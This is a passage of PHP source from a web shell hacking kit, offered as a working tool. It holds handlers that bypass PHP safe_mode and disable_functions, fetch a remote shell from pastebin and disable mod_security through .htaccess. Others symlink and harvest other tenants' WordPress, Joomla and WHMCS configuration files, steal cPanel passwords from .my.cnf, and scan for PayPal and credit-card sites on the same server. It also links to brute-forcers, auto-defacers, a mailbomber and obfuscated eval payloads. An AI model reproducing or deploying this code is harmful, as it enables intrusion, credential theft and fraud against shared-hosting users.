echo "<center><br><b class='cone'><a href=suPHP/ target='_blank'><font face='Tahoma' color='#00bb00' size='2pt'>Click here </font></a></b></center><br>";
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'simpelb'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Simple Bypasser</span><center><br>';
echo '<br><font face="Tahoma" color="#007700" size="2pt">Create Folder : </font>
<input class="inputzbut" type="text" name="dir" size="43" value="worm">
<input class="inputzbut" type="submit" value="Create" name="folder"> <br> <br>
<font face="Tahoma" color="#007700" size="2pt">Get File : </font><br>
<input class="inputzbut" type="text" name="get" size="16" value="url file .txt">
<input class="inputzbut" type="text" name="name" size="15" value="worm.php">
<input class="inputzbut" type="text" name="select" size="16" value='.dirname(__FILE__).'>
<input class="inputzbut" type="submit" value="GET" name="fileget"> <br> <br>
<font face="Tahoma" color="#007700" size="2pt">Fopen File : </font><br>
<input class="inputzbut" type="text" name="save" size="29" value="vwo.php">
<input class="inputzbut" type="text" name="path2" size="29" value='.dirname(__FILE__).'><br><br>
<textarea class="inputzbut" name="source" cols="78" rows="15">PHP Code</textarea><br><br>
<input class="inputzbut" type="submit" value="Save" name="fopen"> <br><br><br>';
if($_POST['folder']) {
$mk = $_POST['dir'];
$func = "bWtkaXI=";
$de = base64_decode($func);
$rules1 = $de($mk);
if ($mk) {
echo "<br><b class='cone'>[+] Done [ $mk ] Created !</b>";
} }
# File Get Contents
if($_POST['fileget']) {
$get = $_POST['get'];
$n4m = $_POST['name'];
$path = $_POST['select'];
$func2 = "ZmlsZV9nZXRfY29udGVudHM=";
$de2 = base64_decode($func2);
$rules2 = $de2($get);
$open = fopen("$path/$n4m", 'w');
fwrite($open,$rules2);
fclose($open);
if($get) {
echo "done";
} }
#
# fopen File
if($_POST['fopen']) {
$save = $_POST['save'];
$path2 = $_POST['path2'];
$open2 = fopen("$path2/$save", 'w');
$source1 = $_POST['source'];
$source2 = stripslashes($source1);
fwrite($open2 ,$source2);
fclose($open2);
if($open2) {
echo "<b class='tmp'>Done</b> <br><br><br>";
} }
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'ritf'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Read File</span><center><br>';
echo "<form method='POST' />
<select class='inputzbut' name='website'>
<option value='show_source'>show_source</option>
<option value='highlight_file'>highlight_file</option>
<option value='readfile'>readfile</option>
<option value='include'>include</option>
<option value='require'>require</option>
<option value='file'>file</option>
<option value='fread'>fread</option>
<option value='file_get_contents'>file_get_contents</option>
<option value='fgets'>fgets</option>
<input class='inputzbut' type='text' name='file' size='22' /><input class='inputzbut' type='submit' name='start' value='Read Now' />
</select>";
function readfils($file) {
$web = $_POST['website'];
switch ($web)
{
case 'show_source': $show = @show_source($file); break;
case 'highlight_file': $highlight = @highlight_file($file); break;
case 'readfile': $readfile = @readfile($file); break;
case 'include': $include = @include($file); break;
case 'require': $require = @require($file); break;
case 'file': $file = @file($file); foreach ($file as $key => $value) { print $value; } break;
case 'fread': $fopen = @fopen($file,"r") or die("Unable to open file!"); $fread = @fread($fopen,90000); fclose($fopen); print_r($fread); break;
case 'file_get_contents': $file_get_contents = @file_get_contents($file); print_r($file_get_contents); break;
case 'fgets': $fgets = @fopen($file,"r") or die("Unable to open file!"); while(!feof($fgets)) { echo fgets($fgets); } fclose($fgets); break;
default:
echo "{$web} Not There";
}
}
echo "<br><br><textarea class='inputzbut' rows='15' cols='68' />";
$file = trim($_POST['file']);
if($_POST['start'])
{
readfils($file); }
echo "</textarea><br><br><br><br>";
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'baidir'))
{echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Chmod Directory Priv8</span><br>Coded By Mauritania Attacker<center><br><br>';
echo '<form action="" method="post">
<p>
<center>
<input class="inputzbut" type="text" name="file" placeholder="/home/user/public_html/directory">
<input class="inputzbut" type="submit" name="bypass" value="Bypass Chmod Dir">
</form></center></p><br><br><br>';
if($_POST)
{
$mauritania = $_POST['file'];
$ch = @chmod($mauritania,'0311');
if($ch)
{
echo "[+] Directory <font face='Tahoma' size='3' color='#b0b000'> =>{$mauritania} => [+] Permission Changed Successfully Bypassed ^_^ [+]";
}
else
{
echo "[-] Directory <font face='Tahoma' size='3' color='red'> =>{$mauritania} => [-] Permission can't be changed , maybe chmod function is disabled :( [-]";
}
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'forb14'))
{
echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass Forbidden 2014</span><br>Coded by Mauritania Attacker<center><br><br>';
$fp = fopen("php.ini","w+");
fwrite($fp,"safe_mode = OFF
Safe_mode_gid = OFF
disable_functions = NONE
disable_classes = NONE
open_basedir = OFF
suhosin.executor.func.blacklist = NONE ");
echo'
<form method="post">
<input class="inputzbut" type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br /><br />
<input class="inputzbut" type="text" name="ghostfile" value="config.txt" size="60"/><br /><br />
<input class="inputzbut" type="submit" value="Bypass" name="symlink" /> <br /><br />
</form>
';
echo '<div class="tul"><b>PHP VERSION:</b> <font color="white" face="shell, Geneva, sans-serif" style="font-size: 8pt">';echo phpversion();
echo '<br><br><br>';
$fichier = $_POST['file'];
$ghostfile = $_POST['ghostfile'];
$symlink = $_POST['symlink'];
if ($symlink)
{
$dir = "mauritania";
if(file_exists($dir)) {
echo "<br><font color='red'>[+] mauritania Folder Already Exist _ are you Drunk XD !!!</font><br />";
} else {
@mkdir($dir); {
echo '<br><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:12px;color:white;>\!/ mauritania Folder Created ^_^ \!/ </b></b>';
echo '<br><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:12px;color:white;>File Retrieved Successfully</b></b>';
} }
$priv9 = "#Priv9 htaccess By Mauritania Attacker
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
DirectoryIndex $ghostfile
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
SetEnv PHPRC ".dirname(__FILE__)."/mauritania/php.ini
suPHP_ConfigPath ".dirname(__FILE__)."/mauritania/php.ini
";
$f =@fopen ('mauritania/.htaccess','w');
@fwrite($f , $priv9);
@symlink("$fichier","mauritania/$ghostfile");
echo '<br /><a target="_blank" href="mauritania/" ><font color="white" size"12">'.$ghostfile.'</a></font>';
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'smod14'))
{echo '<br><center><span style="font-size:30px; font-family:Tahoma, Geneva, sans-serif; color:#009900">Bypass SafeMode 2014 Priv8</span><br>Coded by Mauritania Attacker<center><br><br>';
echo "<br><form method='POST'>
<center><font color='#007700' size='2' face='shell'>Cwd </font><input class='inputzbut' type='text' size='40' name='zero' value=".dirname(__FILE__)." <font color='#b0b000' size='8' face='Tahoma'></font></center>
<center><font color='#007700' size='2' face='shell'>Shell </font><input class='inputzbut' type='text' size='40' name='shell' value='http://pastebin.com/raw.php?i=2gmt5XFH' <font color='#b0b000' size='8' face='Tahoma'></font></center>
<center><font color='#007700' size='2' face='shell'>ini.php </font><input class='inputzbut' type='text' size='40' name='rim' value='http://pastebin.com/raw.php?i=sEbXwVvt' <font color='#b0b000' size='8' face='Tahoma'></font></center><br>
<center><input class='inputzbut' type='submit' value='Bypass SafeMode' name='start' ><br></font></center><br>";
echo "<center><textarea class='inputzbut' rows='12' cols='60'>Results Will Appear Here ^_^
";
if($_POST['start']) {
$zero = $_POST['zero'];
$file = $_POST['shell'];
$mauritania = $_POST['rim'];
$htaccess = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>
<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
SetEnv PHPRC $zero/ghost/php.ini";
$phpini = "c2FmZV9tb2RlID0gT0ZGDQpTYWZlX21vZGVfZ2lkID0gT0ZGDQpkaXNhYmxlX2Z1bmN0aW9ucyA9IE5PTkUNCmRpc2FibGVfY2xhc3NlcyA9IE5PTkUNCm9wZW5fYmFzZWRpciA9IE9GRg0Kc3Vob3Npbi5leGVjdXRvci5mdW5jLmJsYWNrbGlzdCA9IE5PTkU=";
$dir = "ghost";
if(file_exists($dir)) {
echo "[+] ghost Folder Already Exist are you drunk :o xD !
";
} else {
@mkdir($dir); {
echo "[+] ghost Folder Has Been Created Nygga :3 !
";
} }
#Generate Sh3LL
$fopen = fopen("ghost/priv8.php5",'w');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "Shell Has Been Downloaded : $zero/ghost/priv8.php5
";
} else {
echo "Can't Download Shell :( do it manually :D
";
}
fclose($fopen);
#Generate Htaccess
$kolsv = fopen("ghost/.htaccess", "w");
$hwrite = fwrite($kolsv, $htaccess);
if($hwrite){
echo ".htaccess Generated Successfully \!/";
} else {
echo "Can't Generate Htaccess";
}
fclose($kolsv);
#Generate ini.php
$xopen = fopen("ghost/ini.php",'w');
$rim = @file_get_contents($mauritania);
$zzz = fwrite($xopen ,$rim);
if($zzz){
echo "ini.php Has Been Downloaded \!/";
} else {
echo "Can't Download ini.php :( do it manually :D ";
}
fclose($xopen);
$ini = fopen("ghost/php.ini" ,"w");
$php = fwrite($ini, base64_decode($phpini));
if($php){
echo "PHP.INI Generated Successfully \!/";
} else {
echo "[-] Can't Generate PHP.INI";
}
}
echo "</textarea></center>";
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'ensimz'))
{
echo '<br><center><b>-=Enable Symlink If Disabled=-</b><center><br>';
echo '<br><center><form method=post><br><br>
<input class= "inputzbut" type=submit name=ens value="Enable Symlink" /></form></center>';
error_reporting(0);
if(isset($_POST['ens']))
{
mkdir('ensim',0755);
$rr ='<Directory "/">
Options All
Options +FollowSymLinks
Options +SymLinksIfOwnerMatch
Options +ExecCGI
AllowOverride AuthConfig FileInfo Indexes Limit Options=Includes,Includes,Indexes,MultiViews,SymLinksIfOwnerMatch
</Directory>';
$g = fopen('ensim/.htaccess','w');
fwrite($g,$rr);
echo "<br><br><font face='Tahoma' color='#ff0000' size='2pt'>Symlink Function Enabled Successfully in apache pre main conf</font></center>";
}
}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'pytcpz')){eval(gzinflate(base64_decode($pytcpz))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'simbyz')){eval(gzinflate(base64_decode($simbyz))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'cpnlndftpotdfr')){eval(gzinflate(base64_decode($cpnlndftpotdfr))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'indomieseleraku')){eval(gzinflate(base64_decode($indomieseleraku))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'shellfinder')){eval(gzinflate(base64_decode($shellfinder))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){eval(gzinflate(base64_decode($mysql))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mpcz')){eval(gzinflate(base64_decode($mpcz))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mailfilter')){eval(gzinflate(base64_decode($mailfilter))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mailbomber')){eval(gzinflate(base64_decode($mailbomber))); "</div>";}
/////////////////////////////////////////////////coeg///// /////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bingreverse'))
{
?>
<br><br>
<center><div id="menu_pilih"> <a onClick="window.open('http://www.viewdns.info/reverseip/?host=<?php echo $_SERVER ['SERVER_ADDR']; ?>','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://www.viewdns.info/reverseip/?host=<?php echo $_SERVER ['SERVER_ADDR']; ?>"><div id='menu'>=> DNS Reverse IP <=</a></center>
<br><br>
<center><div id="sitelist"><a onClick="window.open('http://www.bing.com/search?q=ip%3A<?php echo $_SERVER ['SERVER_ADDR']; ?>+paypal','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://www.bing.com/search?q=ip%3A<?php echo $_SERVER ['SERVER_ADDR']; ?>+paypal"><div id='menu'>=> Paypal on Server <=</a></center>
<br><br>
<center><div id="visa"><a onClick="window.open('http://www.bing.com/search?q=ip%3A<?php echo $_SERVER ['SERVER_ADDR']; ?>+visa+master','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://www.bing.com/search?q=ip%3A<?php echo $_SERVER ['SERVER_ADDR']; ?>+visa+master"><div id='menu'>=> CC on Server <=</a></center>
<?php
}
///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
{ ?>
<center>
akun hanya seorang script kiddies, tapi dengan terus belajar aq selalu bisa mengerjakan sesuatu hal yang berguna <br>
wahai kalian yang masih belajar menuju proses untuk mengenal lebih jauh mengenai dunia hacking <br>
jangan menyerah.. tetap semagat<br>
more information about me , please contact my email [email protected]
</center>
<?php
}
/////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////halamanmenu///// ///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypasmenu'))
{
?>
<br><br><b><center>-=Bypass Menu=-<center><br>
<div id="menu" align="center">
<a href="?<?php echo "y=".$pwd; ?>&x=grasy">Bypass /etc/passwd</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=nemcon">Bypass Users Server</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=cgipl">Bypass Perl Security</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=pytcpz">Bypass Forbidden with Python via TCP Protocol</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=bypsrootwzp">Bypass Root Path with Zip File</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=bforb">Bypass Root Path with system function</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=rootexecbpass">Bypass Root Path with exec function</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=rootshelleexecbpass">Bypass Root Path with shell_exec function</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=posget">Bypass posix_getpwuid</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=suphp">Bypass PHP Suhosin function blacklist</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=suppet">Bypass Functions suPHP_ConfigPath</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=setphr">Bypass suPHP Security</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=simpelb">Simple Bypasser</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=ritf">Read Files</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=baidir">Bypass Chmod Directory</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=forb14">Bypass Forbidden 2014</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=smod14">Bypass SafeMode 2014 Priv8</a><br><br>
<br>
</div>
<?php
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////ancox///// ///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'symlinkmenu'))
{
?>
<br><br><b><center>-=Symlink Menu=-<center><br>
<div id="menu" align="center">
<a href="?<?php echo "y=".$pwd; ?>&x=symsr">Symlink Server</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=symfil">Symlink File</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=symlink">Symlink Server 2</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=domainv">Domain Viewer</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=ensimz">Enable Symlink If Disable</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=pytcpz">Bypass Forbidden with Python via TCP Protocol</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=simbyz">Symlink Bypass 2014</a><br><br>
<br>
</div>
<?php
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////ancox///// ///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wpmenu'))
{
?>
<br><br><b><center>-=Wordpress Tools=-<center><br>
<div id="menu" align="center">
<a href="?<?php echo "y=".$pwd; ?>&x=wp-add">Wordpress Add Admin</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=wpnu">Wordpress Auto Deface</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=wpbrute">Wordpress BruteForce</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=wp-reset">Wordpress Reset Password</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=mpcz">WordPress Mass Password Changer</a><br><br>
<br>
</div>
<?php
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////ancox///// ///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jmmenu'))
{
?>
<br><br><b><center>-=Joomla Tools=-<center><br>
<div id="menu" align="center">
<a href="?<?php echo "y=".$pwd; ?>&x=jmadd">Joomla Add Admin</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=jmnu">Joomla Auto Deface</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=jbrute">Joomla BruteForce</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=jm-reset">Joomla Reset Password</a><br><br>
<br>
</div>
<?php
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////ancox///// ///////////////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bfmenu'))
{
?>
<br><br><b><center>-=Bruteforce Menu=-<center><br>
<div id="menu" align="center">
<a href="?<?php echo "y=".$pwd; ?>&x=fbrute">Facebook BruteForce</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=tbrute">Twitter BruteForce</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=gbrute">Email Bruteforce</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=wpbrute">WordPress BruteForce</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=jbrute">Joomla BruteForce</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=brute">Cpanel BruteForce</a><br><br>
<br>
</div>
<?php
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cpmenu'))
{
?>
<br><br><b><center>-=Cpanel Menu=-<center><br>
<div id="menu" align="center">
<a href="?<?php echo "y=".$pwd; ?>&x=cpauto">Cpanel Auto Crack</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=brute">Cpanel BruteForce</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=cpnlndftpotdfr">Cpanel & FTP Auto Deface</a><br><br>
<br>
</div>
<?php
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'litespeedconfig')){ eval(gzinflate(base64_decode($litespeedconfig))); "</div>"; }
elseif(isset($_GET['x']) && ($_GET['x'] == 'zone_h')){eval(gzinflate(base64_decode($zone_h))); "</div>"; }
elseif(isset($_GET['x']) && ($_GET['x'] == 'porte')){eval(gzinflate(base64_decode($porte))); "</div>"; }
elseif(isset($_GET['x']) && ($_GET['x'] == 'grabconfig')){
?>
<center>
<form action="?y=<?php echo $pwd; ?>&x=grabconfig" method="post">
<br><br><center><b><font size=4>-=Config Grabber=-</font></b></center><br>
<?php
echo "
<form method='POST'>
</head>
<style>
textarea {
resize:none;
color: #000000 ;
background-color:#000000;
font-size:8pt; color:#ffffff;
border:1px solid white ;
border-left: 4px solid white ;
width:543px;
height:400px;
}
input {
color: #000000;
border:1px dotted white;
}
</style>";
echo "<center>";?><br>
<center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="#007700" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class='area' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" class='inputzbut' size="100" value="Grab!" type="submit"><br></form><br>
<?php }if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink disabled :( </error>');}@mkdir('bhconfig', 0755);@chdir('bhconfig');
$htaccess="
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All";
file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];
$passwd=explode("
",$passwd);
echo "<br><br><center><font color=#b0b000 size=2pt>wait ...</center><br>";
foreach($passwd as $pwd){
$pawd=explode(":",$pwd);$user =$pawd[0];
@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');
@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');
@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');
@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');
@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
echo '<b class="cone"><font face="Tahoma" color="#00dd00" size="2pt"><b>Done -></b> <a target="_blank" href="bhconfig">Open configs</a></font></b>';}
?>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mailerz'))
{
eval(gzinflate(base64_decode($mailerz))); "</div>";}
elseif(isset($_GET['x']) && ($_GET['x'] == 'cpauto'))
{
?>
<center>
<br>
<br><b>-= Auto Cpanel Finder =- <br></b><br>
<?php
/**
* @author: FaisaL Ahmed aka rEd X
* @mail: [email protected]
* @Screenshot: http://prntscr.com/7c1p34
* @Last Updated: 01 June 2015
*/
@ini_set('display_errors',0);
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
return trim($ar1[0]);
}
echo "<center>";
$d0mains = @file('/etc/named.conf');
$domains = scandir("/var/named");
if ($domains or $d0mains)
{
$domains = scandir("/var/named");
if($domains) {
echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
$count=1;
$dc = 0;
$list = scandir("/var/named");
foreach($list as $domain){
if(strpos($domain,".db")){
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
$dirz = '/home/'.$owner['name'].'/.my.cnf';
$path = getcwd();
if (is_readable($dirz)) {
copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
$password=entre2v2($p,'password="','"');
echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
$dc++;
}
}
}
echo '</table>';
$total = $dc;
echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
echo '</center>';
}else{
$d0mains = @file('/etc/named.conf');
if($d0mains) {
echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
$count=1;
$dc = 0;
$mck = array();
foreach($d0mains as $d0main){
if(@eregi('zone',$d0main)){
preg_match_all('#zone "(.*)"#',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0])) >2){
$mck[] = $domain[1][0];
}
}
}
$mck = array_unique($mck);
$usr = array();
$dmn = array();
foreach($mck as $o) {
$infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
$usr[] = $infos['name'];
$dmn[] = $o;
}
array_multisort($usr,$dmn);
$dt = file('/etc/passwd');
$passwd = array();
foreach($dt as $d) {
$r = explode(':',$d);
if(strpos($r[5],'home')) {
$passwd[$r[0]] = $r[5];
}
}
$l=0;
$j=1;
foreach($usr as $r) {
$dirz = '/home/'.$r.'/.my.cnf';
$path = getcwd();
if (is_readable($dirz)) {
copy($dirz, ''.$path.'/'.$r.'.txt');
$p=file_get_contents(''.$path.'/'.$r.'.txt');
$password=entre2v2($p,'password="','"');
echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
$dc++;
flush();
$l=$l?0:1;
$j++;
}
}
}
echo '</table>';
$total = $dc;
echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
echo '</center>';
}
}else{
echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
}
echo "<br><br>";
?>
<h1><br>© <font color='#FF0000'>rEd X</font> | 3xp1r3 Cyber Army</hr><br><br>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'jumpingz')){
?>
<center><br><br><h1>-=Jumping Server Scanner=-<h1>
<?php
($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<font size="4" color="blue" face="Calibri"><b>Error: Safe_mode = On</b></font>');
set_time_limit(0);@$passwd = fopen('/etc/passwd','r');if (!$passwd) { die('<font size="4" color="blue" face="Calibri"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>');
}
$pub = array();$users = array();$conf = array();$i = 0;while(!feof($passwd)){$str = fgets($passwd);if ($i > 100){ $pos = strpos($str,':'); $username = substr($str,0,$pos); $dirz = '/home/'.$username.'/public_html/'; if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username); array_push($pub,$dirz); }}}$i++;}
